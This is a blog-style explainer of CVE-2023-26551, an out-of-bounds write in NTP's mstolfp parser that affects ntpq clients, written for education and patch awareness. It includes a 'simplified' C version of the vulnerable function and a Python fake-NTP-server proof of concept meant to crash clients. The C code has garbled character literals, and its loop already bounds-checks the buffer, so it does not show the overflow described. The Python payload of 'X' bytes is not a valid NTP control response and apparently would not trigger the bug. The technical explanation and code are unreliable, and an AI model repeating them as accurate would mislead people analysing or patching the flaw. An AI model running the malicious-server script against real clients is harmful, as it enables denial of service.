CVE-2023-26551 is a security vulnerability discovered in NTP (Network Time Protocol), specifically in the function mstolfp found in the file libntp/mstolfp.c of NTP version 4.2.8p15. This bug can lead to an out-of-bounds write, which is a serious security issue. While servers running NTP (ntpd) are not vulnerable, this flaw can be exploited against clients using the ntpq tool.

In simple terms: If a malicious server interacts with a user's ntpq client, it can send data that causes the client's process to write data past the end of a buffer. This could potentially lead to the client crashing and, in rare cases, remote code execution.

How Does the Vulnerability Work?

The vulnerable code is found within a parsing loop in the mstolfp function. The main issue exists in the following part of the code:

while (cp < cpdec) {
    /* ... process digits, increment cp ... */
    *cp++ = c;
}

Here, cp is a pointer to a buffer, and cpdec marks the end of the region that should be written to. Due to a logic issue, it’s possible for cp to go past cpdec, meaning the *cp++ = c; line writes outside the allocated buffer, which is a classic out-of-bounds write.

Here's a simplified version of the vulnerable function

int mstolfp(const char *str, l_fp *fpv) {
    char buf[20];         // target buffer
    char *cp = buf;
    char *cpdec = buf + sizeof(buf) - 1;
    int c;

    while ((c = *str++) != '\' && cp < cpdec) {
        if (isdigit((unsigned char)c) || c == '.') {
            *cp++ = c;    // POTENTIAL OOB WRITE if logic fails
        }
    }
    *cp = '\';
    // further processing...
}

If a malicious server sends specially crafted data (for example, too many digits or improperly placed decimal points), the loop might allow writing past the end of buf[].

How Can an Attacker Exploit This?

+ Remote Trigger: The attacker controls an NTP server. A client (victim) connects to this server using the ntpq tool.
+ Crafted Response: The malicious server sends back data with a field that, when parsed by mstolfp, causes the out-of-bounds write.
+ Result: The ntpq process could crash (denial of service) or, with advanced exploitation, the attacker could potentially execute their own code on the client machine.

It is not possible to attack NTP servers (ntpd) directly using this bug — only clients (ntpq) are at risk.

Attacker sets up a fake NTP server.

2. The attacker fills the response with a very long string for a time field, exceeding the buffer in the mstolfp function.

Here’s a Python snippet simulating a malicious NTP server

import socket

payload = b'\x24\x02\x01' + b'X' * 50  # Overly long field

with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
    s.bind(('...', 123))
    while True:
        data, addr = s.recvfrom(1024)
        print(f"Received from {addr}")
        s.sendto(payload, addr)

You would start this server on a host, and then from another machine, run

ntpq -c rv attacker-host

If the client is vulnerable, you should see a crash or strange behavior.

- NTP.org Official Advisory
- CVE Entry at NVD
- Exploit Discussion

Apply vendor patches as soon as possible.

No changes are needed for NTP servers (ntpd) as they cannot be exploited by this flaw — it is purely a risk for clients.

Final Thoughts

CVE-2023-26551 is a reminder that even mature software like NTP can be affected by simple coding bugs. Always keep your software up to date and avoid running network tools against untrusted servers. If you’re responsible for systems using NTP, check client usage and patch quickly.

*Keep your clients safe, patch early!*

*This post is for educational purposes — do not attack systems without permission.*

Timeline

Published on: 04/11/2023 21:15:00 UTC
Last modified on: 04/20/2023 14:37:00 UTC